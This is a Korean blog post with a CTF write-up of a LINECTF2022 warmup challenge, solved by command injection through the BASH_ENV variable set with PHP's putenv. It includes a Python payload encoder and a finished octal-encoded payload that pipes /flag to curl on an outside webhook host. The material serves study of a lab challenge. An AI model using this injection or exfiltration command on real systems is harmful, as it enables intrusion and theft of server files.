티스토리 뷰
문제 개요
Command Injection using BASH_ENV Environment Variable
코드 분석
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
위는 문제로부터 주어진 전체 소스코드입니다.
우선 bye 함수부터 보면 $ptn 에 정규식이 오고, $s에 문자열이 온다고 했을 때 문자열이 정규식에 일치하는 패턴이면 false 를 반환하고 일치하지 않으면 true를 반환한다고 합니다.
function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}
그리고 바로 아래 $_GET["env"] 에는 URL 파라미터 중 env 파라미터 값을 받아오고 있는데요. foreach 를 사용한 거보니 해당 값을 배열로 받아오는 것 같습니다.
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
그러면 이 때 파라미터를 아래와 같이 넘겼다고 가정하면
?env[TEST]=ABC
foreach 문에서 $k 에는 TEST 가 들어가고 $v 에는 ABC 가 들어가게 되겠습니다.
그리고 foreach 안에 있는 조건문을 확인했을 때 $k 에는 = 가 들어가면 안되고, $v 에는 영문자 알파벳이 한 개도 포함되서는 안된다고 합니다. 그러므로 hex 값도 이용못합니다. 왜냐하면 \x65 이런 형태로 결국 x 라는 문자가 포함되기 때문이죠. 그래서 문제풀이 때는 octet 을 이용합니다.
PHP 에서 putenv 라는 함수는 말그대로 환경변수를 설정하게 해주는 함수입니다. 사용법은 아래 링크를 참고합니다.
https://www.php.net/manual/en/function.putenv.php
원래라면 아래 system 함수를 실행하게 되면 imdude 라는 명령어가 존재하지 않기 때문에 오류가 발생할 것입니다.
system("bash -c 'imdude'");
그렇기 때문에 BASH 쉘 특징 상 BASH_ENV 환경변수가 설정되어 있다면 이에 값으로 들어있는 명령어가 적혀있는 파일을 먼저 실행되게끔 해줘야 합니다. BASH_ENV 함수에 대한 간단한 설명은 아래 링크의 bash 매뉴얼을 참고합니다.
이제 위 방법을 이용해서 문제를 풀어봅니다.
문제 풀이
Python 으로 Payload를 만들어주는 코드를 간단하게 짜보았습니다. 딱히 여러 활용성을 고려하지 않고 문제를 풀 때 당시에 임시로 작성한 거긴 하지만요.
string = ""
_string="""cat /flag | curl https://webhook.site/bd672f1a-3877-40ec-a54d-377bd5b99190 -d @-"""
for i in _string.strip():
ch = (oct(ord(i))+'')+''
ch = ch.replace('0o', ' 0') if len(ch) == 4 else ch.replace('0o', ' ')
string+=ch
string = ' '+string.replace('\n', ' ').replace(' ', '\\').replace('\\040', ' ')
string = string.replace(' ','\' $\'')[2:]+'\''
string = string.replace("$'\\174'", '|')
string = '$((' + string + ');)'
print(string)
우선 명령어는 cat /flag 한 결과를 curl 의 POST data로 넣어서 공격자의 서버에 보내주게끔 하는 시나리오입니다.
다만 위 코드 분석에서도 말했다시피 그냥 문자열을 보내서는 안되기 때문에 octet 으로 변환해줍니다.
그러면 최종 결과적으로 아래와 같은 문자열이 나오게 됩니다.
$(($'\143\141\164' $'\057\146\154\141\147' | $'\143\165\162\154' $'\150\164\164\160\163\072\057\057\167\145\142\150\157\157\153\056\163\151\164\145\057\142\144\066\067\062\146\061\141\055\063\070\067\067\055\064\060\145\143\055\141\065\064\144\055\063\067\067\142\144\065\142\071\071\061\071\060' $'\055\144' $'\100\055');)
이제 위 페이로드를 URL 파라미터에 넣어주면 문제는 풀립니다.
?env[BASH_ENV]=$(($%27\143\141\164%27%20$%27\057\146\154\141\147%27%20|%20$%27\143\165\162\154%27%20$%27\150\164\164\160\163\072\057\057\167\145\142\150\157\157\153\056\163\151\164\145\057\142\144\066\067\062\146\061\141\055\063\070\067\067\055\064\060\145\143\055\141\065\064\144\055\063\067\067\142\144\065\142\071\071\061\071\060%27%20$%27\055\144%27%20$%27\100\055%27);)
해당 문제는 LINECTF2022 에서 web 그리고 misc 분류에 해당하는 문제였으며 warmup 문제였지만 bash shell script 에 대해서 잘 몰랐기에 저는 다소 시간이 걸렸던 것 같습니다!
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[LINECTF2022] [WEB] gotm 문제풀이(writeup) (0) | 2022.03.28 |
---|---|
[LINECTF2022] [WEB] Memo Drive 문제풀이(writeup) (0) | 2022.03.28 |
[Codegate2022예선] (BLOCKCHAIN) NFT 문제풀이 (0) | 2022.03.03 |
[Codegate2022예선] (WEB) MYBLOG 문제풀이 (0) | 2022.03.01 |
[Codegate2022예선] (WEB) BABYFIRST 문제풀이 (0) | 2022.02.28 |